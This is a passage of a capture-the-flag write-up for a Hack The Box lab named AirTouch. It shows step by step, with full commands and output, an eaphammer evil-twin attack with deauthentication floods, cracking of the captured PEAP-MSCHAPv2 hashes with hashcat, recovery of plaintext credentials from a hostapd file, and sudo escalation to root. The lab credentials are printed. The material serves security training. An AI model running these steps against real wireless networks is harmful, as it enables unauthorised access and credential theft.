link/ether fe:4d:bd:a7:6d:d3 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 scope global wlan11
valid_lft forever preferred_lft forever
inet6 fe80::fc4d:bdff:fea7:6dd3/64 scope link
valid_lft forever preferred_lft forever
certs-backup contains CA certificates and server certificates:
root@AirTouch-AP-PSK:~# ls certs-backup/
ca.conf ca.crt server.conf server.crt server.csr server.ext server.key
The ca.key is missing. With it, I can sign my own client certificates and authenticate access points.
With the CA certificate (ca.crt), server certificate (server.crt), and key (server.key), I could build a program that appeared legitimate but actually didn't match AirTouch-Office and capture its authentication process. Without these cryptographic materials, the client couldn't establish enough connections to obtain any information.
We can perform an Evil Twin attack and view the results.
To launch an attack, I will copy the certificate information from AirTouch-AP-PSK to the consultant's machine:
root@AirTouch-AP-PSK:~# scp certs-backup/* consultant@192.168.3.84:~/
The authenticity of host '192.168.3.84 (192.168.3.84)' can't be established.
ECDSA key fingerprint is SHA256:RNSulmHvYvAQ2qGrTB9aiv48odVoupHVDFEeI6PS4j0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.3.84' (ECDSA) to the list of known hosts.
consultant@192.168.3.84's password:
ca.conf 100% 1124 794.0KB/s 00:00
ca.crt 100% 1712 4.5MB/s 00:00
server.conf 100% 1111 1.0MB/s 00:00
server.crt 100% 1493 5.0MB/s 00:00
server.csr 100% 1033 1.8MB/s 00:00
server.ext 100% 168 337.8KB/s 00:00
server.key 100% 1704 6.6MB/s 00:00
I will import them into eaphammer using the --cert-wizard option:
root@AirTouch-Consultant:~/eaphammer# ./eaphammer --cert-wizard import --server-cert /home/consultant/server.crt --ca-cert /home/consultant/ca.crt --private-key /home/consultant/server.key
.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \
\ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/
\___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__|
\/ \/|__| \/ \/ \/ \/ \/
Now with more fast travel than a next-gen Bethesda game. >:D
Version: 1.14.0
Codename: Final Frontier
Author: @s0lst1c3
Contact: gabriel<<at>>transmitengage.com
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
Case 1: Import all separate
[CW] Ensuring server cert, CA cert, and private key are valid...
/home/consultant/server.crt
/home/consultant/server.key
/home/consultant/ca.crt
[CW] Complete!
[CW] Loading private key from /home/consultant/server.key
[CW] Complete!
[CW] Loading server cert from /home/consultant/server.crt
[CW] Complete!
[CW] Loading CA certificate chain from /home/consultant/ca.crt
[CW] Complete!
[CW] Constructing full certificate chain with integrated key...
[CW] Complete!
[CW] Writing private key and full certificate chain to file...
[CW] Complete!
[CW] Private key and full certificate chain written to: /root/eaphammer/certs/server/AirTouch CA.pem
[CW] Activating full certificate chain...
[CW] Complete!
I also need to know the channel and MAC address of the AirTouch-Office AP, which I have already collected:
Cell 06 - Address: AC:8B:A9:AA:3F:D2
Frequency:5.22 GHz (Channel 44)
ESSID:"AirTouch-Office"
Cell 07 - Address: AC:8B:A9:F3:A1:13
Frequency:5.22 GHz (Channel 44)
ESSID:"AirTouch-Office"
I will launch eaphammer on an interface that mimics AirTouch-Office, which I haven't used before:
root@AirTouch-Consultant:~/eaphammer# ./eaphammer -i wlan4 --auth wpa-eap --essid AirTouch-Office
.__
____ _____ ______ | |__ _____ _____ _____ ___________
_/ __ \\__ \ \____ \| | \\__ \ / \ / \_/ __ \_ __ \
\ ___/ / __ \| |_> > Y \/ __ \| Y Y \ Y Y \ ___/| | \/
\___ >____ / __/|___| (____ /__|_| /__|_| /\___ >__|
\/ \/|__| \/ \/ \/ \/ \/
Now with more fast travel than a next-gen Bethesda game. >:D
Version: 1.14.0
Codename: Final Frontier
Author: @s0lst1c3
Contact: gabriel<<at>>transmitengage.com
[?] Am I root?
[*] Checking for rootness...
[*] I AM ROOOOOOOOOOOOT
[*] Root privs confirmed! 8D
[*] Saving current iptables configuration...
[*] Reticulating radio frequency splines...
Error: Could not create NMClient object: Could not connect: No such file or directory.
[*] Using nmcli to tell NetworkManager not to manage wlan4...
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 1/1 [00:01<00:00, 1.00s/it]
[*] Success: wlan4 no longer controlled by NetworkManager.
[*] WPA handshakes will be saved to /root/eaphammer/loot/wpa_handshake_capture-2026-04-23-08-32-12-z7KIZQBnx8P1Ln2fpjj1QCNZxTyGck2I.hccapx
[hostapd] AP starting...
Configuration file: /root/eaphammer/tmp/hostapd-2026-04-23-08-32-12-xtIQ15cQl3lxogITk1PwovghHOFheSS0.conf
rfkill: Cannot open RFKILL control device
wlan4: interface state UNINITIALIZED->COUNTRY_UPDATE
Press enter to quit...
Using interface wlan4 with hwaddr 00:11:22:33:44:00 and ssid "AirTouch-Office"
wlan4: interface state COUNTRY_UPDATE->ENABLED
wlan4: AP-ENABLED
It's stuck, waiting for authentication attempts. In another shell, I'll use the new interface in monitoring mode to send deauthentication messages to both APs:
root@AirTouch-Consultant:~/eaphammer# iw dev wlan5 set type monitor
root@AirTouch-Consultant:~/eaphammer# ip link set wlan5 up
root@AirTouch-Consultant:~/eaphammer# iw dev wlan5 set channel 44
root@AirTouch-Consultant:~/eaphammer# aireplay-ng -0 10 -a AC:8B:A9:AA:3F:D2 wlan5; aireplay-ng -0 10 -a AC:8B:A9:F3:A1:13 wlan5
08:34:24 Waiting for beacon frame (BSSID: AC:8B:A9:AA:3F:D2) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
08:34:24 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:25 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:25 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:25 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:26 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:26 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:27 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:27 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:28 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:28 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:AA:3F:D2]
08:34:28 Waiting for beacon frame (BSSID: AC:8B:A9:F3:A1:13) on channel 44
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
08:34:29 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:29 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:30 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:30 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:30 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:31 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:31 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:32 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:32 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
08:34:33 Sending DeAuth (code 7) to broadcast -- BSSID: [AC:8B:A9:F3:A1:13]
While that’s running, I get authentication at eaphammer:
mschapv2: Thu Apr 23 08:34:29 2026
domain\username: AirTouch\r4ulcl
username: r4ulcl
challenge: 60:30:52:38:07:e8:a1:5d
response: e4:02:fc:a3:96:db:99:f3:f8:48:16:50:89:5b:5f:d4:a3:b2:6f:af:2c:82:9d:d1
jtr NETNTLM: r4ulcl:$NETNTLM$6030523807e8a15d$e402fca396db99f3f8481650895b5fd4a3b26faf2c829dd1
hashcat NETNTLM: r4ulcl::::e402fca396db99f3f8481650895b5fd4a3b26faf2c829dd1:6030523807e8a15d
mschapv2: Thu Apr 23 08:34:29 2026
domain\username: AirTouch\r4ulcl
username: r4ulcl
challenge: 0d:d3:24:be:5f:b3:7f:40
response: 52:1b:64:f8:c2:e1:f3:d7:41:6f:bb:d4:18:00:b9:f5:e5:2e:fb:33:f1:49:8a:db
jtr NETNTLM: r4ulcl:$NETNTLM$0dd324be5fb37f40$521b64f8c2e1f3d7416fbbd41800b9f5e52efb33f1498adb
hashcat NETNTLM: r4ulcl::::521b64f8c2e1f3d7416fbbd41800b9f5e52efb33f1498adb:0dd324be5fb37f40
wlan4: CTRL-EVENT-EAP-FAILURE 28:6c:07:12:ee:f3
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan4: STA 28:6c:07:12:ee:f3 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
wlan4: CTRL-EVENT-EAP-FAILURE c8:8a:9a:6f:f9:d2
wlan4: STA c8:8a:9a:6f:f9:d2 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan4: STA c8:8a:9a:6f:f9:d2 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
In PEAP-MSCHAPv2 exchanges, MSCHAPv2 challenges/responses are mathematically identical to NetNTLMv1 challenges/responses, so captured data can be cracked offline into NetNTLMv1 hashes.
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/AirTouch]
└─$ hashcat ./AirTouch-Office.hash rockyou.txt
hashcat (v7.1.2) starting in autodetect mode
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
r4ulcl::::a1c830700769a667fc2b24c161430d902ee9e192a683d06f:180b044bd39a62ec:laboratory
Now we can try to connect to AirTouch-Office
Firstly create a airtouch-office.conf file:
network={
ssid="AirTouch-Office"
key_mgmt=WPA-EAP
eap=PEAP
identity="AirTouch\r4ulcl"
password="laboratory"
phase2="auth=MSCHAPV2"
}
Now use wpa_supplicant to connect:
root@AirTouch-Consultant:~/eaphammer# wpa_supplicant -i wlan6 -c ./airtouch-office.conf
Successfully initialized wpa_supplicant
rfkill: Cannot open RFKILL control device
rfkill: Cannot get wiphy information
wlan6: SME: Trying to authenticate with ac:8b:a9:aa:3f:d2 (SSID='AirTouch-Office' freq=5220 MHz)
wlan6: Trying to associate with ac:8b:a9:aa:3f:d2 (SSID='AirTouch-Office' freq=5220 MHz)
wlan6: Associated with ac:8b:a9:aa:3f:d2
wlan6: CTRL-EVENT-SUBNET-STATUS-UPDATE status=0
wlan6: CTRL-EVENT-EAP-STARTED EAP authentication started
wlan6: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan6: CTRL-EVENT-EAP-METHOD EAP vendor 0 method 25 (PEAP) selected
wlan6: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=ES/ST=Madrid/L=Madrid/O=AirTouch/OU=Certificate Authority/CN=AirTouch CA/emailAddress=ca@AirTouch.htb' hash=222a7dd4d28c97c8e4730762fa9a102af05c7d56b35279b2f5ee4da7ddf918a8
wlan6: CTRL-EVENT-EAP-PEER-CERT depth=1 subject='/C=ES/ST=Madrid/L=Madrid/O=AirTouch/OU=Certificate Authority/CN=AirTouch CA/emailAddress=ca@AirTouch.htb' hash=222a7dd4d28c97c8e4730762fa9a102af05c7d56b35279b2f5ee4da7ddf918a8
wlan6: CTRL-EVENT-EAP-PEER-CERT depth=0 subject='/C=ES/L=Madrid/O=AirTouch/OU=Server/CN=AirTouch CA/emailAddress=server@AirTouch.htb' hash=ef39f3fff0883db7fc8a535c52f80509fc395e9889061e209102307b46995864
EAP-MSCHAPV2: Authentication succeeded
wlan6: CTRL-EVENT-EAP-SUCCESS EAP authentication completed successfully
wlan6: PMKSA-CACHE-ADDED ac:8b:a9:aa:3f:d2 0
wlan6: WPA: Key negotiation completed with ac:8b:a9:aa:3f:d2 [PTK=CCMP GTK=CCMP]
wlan6: CTRL-EVENT-CONNECTED - Connection to ac:8b:a9:aa:3f:d2 completed [id=0 id_str=]
Use another terminal. iw can verify that it is connected:
root@AirTouch-Consultant:~/eaphammer# iw dev wlan6 link
Connected to ac:8b:a9:aa:3f:d2 (on wlan6)
SSID: AirTouch-Office
freq: 5220
RX: 71725 bytes (946 packets)
TX: 2347 bytes (23 packets)
signal: -30 dBm
rx bitrate: 6.0 MBit/s
tx bitrate: 36.0 MBit/s
bss flags: short-slot-time
dtim period: 2
beacon int: 100
dhclient will get an IP:
root@AirTouch-Consultant:~/eaphammer# dhclient -v wlan6
Internet Systems Consortium DHCP Client 4.4.1
Copyright 2004-2018 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/wlan6/02:00:00:00:06:00
Sending on LPF/wlan6/02:00:00:00:06:00
Sending on Socket/fallback
DHCPDISCOVER on wlan6 to 255.255.255.255 port 67 interval 3 (xid=0x43da0f3b)
DHCPOFFER of 10.10.10.38 from 10.10.10.1
DHCPREQUEST for 10.10.10.38 on wlan6 to 255.255.255.255 port 67 (xid=0x3b0fda43)
DHCPACK of 10.10.10.38 from 10.10.10.1 (xid=0x43da0f3b)
bound to 10.10.10.38 -- renewal in 375565 seconds.
Now we can use the credit of remoteto ssh connect
root@AirTouch-Consultant:~/eaphammer# ssh remote@10.10.10.1
The authenticity of host '10.10.10.1 (10.10.10.1)' can't be established.
ECDSA key fingerprint is SHA256:/lSCXr95A71FBCcQ9DT1xXMFeCAsLEnCUfSwu/3qPoE.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.1' (ECDSA) to the list of known hosts.
remote@10.10.10.1's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
remote@AirTouch-AP-MGT:~$ whoami
remote
remote@AirTouch-AP-MGT:~$ id
uid=1000(remote) gid=1000(remote) groups=1000(remote)
Shell as root@AirTouch-AP-MGT
I would check sudo -lfirstly
remote@AirTouch-AP-MGT:~$ sudo -l
[sudo] password for remote:
Sorry, user remote may not run sudo on AirTouch-AP-MGT.
Also the home directory of remoteis empty
remote@AirTouch-AP-MGT:~$ ls -al
total 36
drwxr-xr-x 1 remote remote 4096 Apr 23 08:40 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
-rw-rw-r-- 1 remote remote 1 Nov 24 2024 .bash_history
-rw-r--r-- 1 remote remote 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 remote remote 3771 Feb 25 2020 .bashrc
drwx------ 2 remote remote 4096 Apr 23 08:40 .cache
-rw-r--r-- 1 remote remote 807 Feb 25 2020 .profile
There is another valid user admin
remote@AirTouch-AP-MGT:/home$ ls
admin remote
We can access to the directory of admin, but it is also empty
remote@AirTouch-AP-MGT:/home/admin$ ls -al
total 28
drwxr-xr-x 1 admin admin 4096 Jan 13 14:55 .
drwxr-xr-x 1 root root 4096 Jan 13 14:55 ..
-rw-rw-r-- 1 admin admin 1 Nov 24 2024 .bash_history
-rw-r--r-- 1 admin admin 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 admin admin 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 admin admin 807 Feb 25 2020 .profile
remote@AirTouch-AP-MGT:/home/admin$ cat .bash_history
Continue to enumerate the process in the background:
remote@AirTouch-AP-MGT:/home/admin$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2608 532 ? Ss 05:23 0:00 /bin/sh -c service ssh start && tail -f /dev/null
root 15 0.0 0.1 12188 4448 ? Ss 05:23 0:00 sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
root 16 0.0 0.0 2544 512 ? S 05:23 0:00 tail -f /dev/null
root 28 0.0 0.0 3976 3064 ? Ss 05:23 0:00 bash /root/start.sh
root 45 0.0 0.2 10776 8160 ? S 05:23 0:09 hostapd_aps /root/mgt/hostapd_wpe.conf
root 46 0.0 0.1 10624 7656 ? S 05:23 0:07 hostapd_aps /root/mgt/hostapd_wpe2.conf
root 64 0.0 0.0 9300 3700 ? S 05:23 0:00 dnsmasq -d
root 38061 0.0 0.2 13912 9032 ? Ss 08:40 0:00 sshd: remote [priv]
remote 38088 0.0 0.1 13912 5324 ? R 08:40 0:00 sshd: remote@pts/0
remote 38089 0.0 0.0 5992 3784 pts/0 Ss 08:40 0:00 -bash
remote 38856 0.0 0.0 7644 3188 pts/0 R+ 08:44 0:00 ps aux
hostapd_aps is also running with two different config files.
hostapd is a user space daemon for access point and authentication servers. It implements IEEE 802.11 access point management, IEEE 802.1X/WPA/WPA2/WPA3/EAP Authenticators, RADIUS client, EAP server, and RADIUS authentication server. The current version supports Linux (Host AP, madwifi, mac80211-based drivers) and FreeBSD (net80211).
I cannot access any running configuration files because they are located in the /root directory.
The /etc/hostapd directory contains configuration files:
remote@AirTouch-AP-MGT:/etc/hostapd$ ls -al
total 196
drwxr-xr-x 1 root root 4096 Jan 13 14:55 .
drwxr-xr-x 1 root root 4096 Apr 23 05:23 ..
-rwxr-xr-x 1 root root 83947 Mar 27 2024 hostapd_wpe.conf.tmp
-rwxr-xr-x 1 root root 4824 Mar 27 2024 hostapd_wpe.eap_user
-rwxr-xr-x 1 root root 83948 Mar 27 2024 hostapd_wpe2.conf.tmp
-rwxr-xr-x 1 root root 3129 Aug 13 2019 ifupdown.sh
hostapd_wpe.eap_usercontains the credit of users
# WPE - DO NOT REMOVE - These entries are specifically in here
* PEAP,TTLS,TLS,FAST
#"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "t" [2]
* PEAP,TTLS,TLS,FAST [ver=1]
#"t" GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 "password" [2]
"AirTouch\r4ulcl" MSCHAPV2 "laboratory" [2]
"admin" MSCHAPV2 "xMJpzXt4D9ouMuL3JJsMriF7KZozm7" [2]
Now we get the credit admin:xMJpzXt4D9ouMuL3JJsMriF7KZozm7
Also this credit can help us su admin
remote@AirTouch-AP-MGT:/etc/hostapd$ su admin
Password:
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
admin@AirTouch-AP-MGT:/etc/hostapd$ whoami
admin
admin@AirTouch-AP-MGT:/etc/hostapd$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)
Even we can su rootdirectly
admin@AirTouch-AP-MGT:/etc/hostapd$ sudo -l
Matching Defaults entries for admin on AirTouch-AP-MGT:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on AirTouch-AP-MGT:
(ALL) ALL
(ALL) NOPASSWD: ALL
admin@AirTouch-AP-MGT:/etc/hostapd$ sudo su
root@AirTouch-AP-MGT:/etc/hostapd# whoami
root
root@AirTouch-AP-MGT:/etc/hostapd# id
uid=0(root) gid=0(root) groups=0(root)
Description
AirTouch is a wireless-focused machine that walks through a full attack chain across multiple network segments. Starting from SNMP enumeration to recover default credentials, I SSH into a containerized environment equipped with virtual wireless interfaces. From there, I capture a WPA2-PSK handshake, crack it, and decrypt the intercepted traffic in Wireshark to extract session cookies for a router management portal. A client-side role cookie gates an admin file upload feature — bypassing the PHP extension filter with a .phtml file yields remote code execution. Hardcoded credentials in the source lead to the next user, and a sudo misconfiguration gives root access, where I recover the CA and server certificates for the corporate wireless network. Leveraging those with eaphammer, I stand up an evil twin of AirTouch-Office to capture a PEAP-MSCHAPv2 challenge, which cracks to reveal a domain user's password. That foothold onto the corporate network exposes a hostapd eap_user file leaking admin credentials, and another sudo escalation lands me at final root.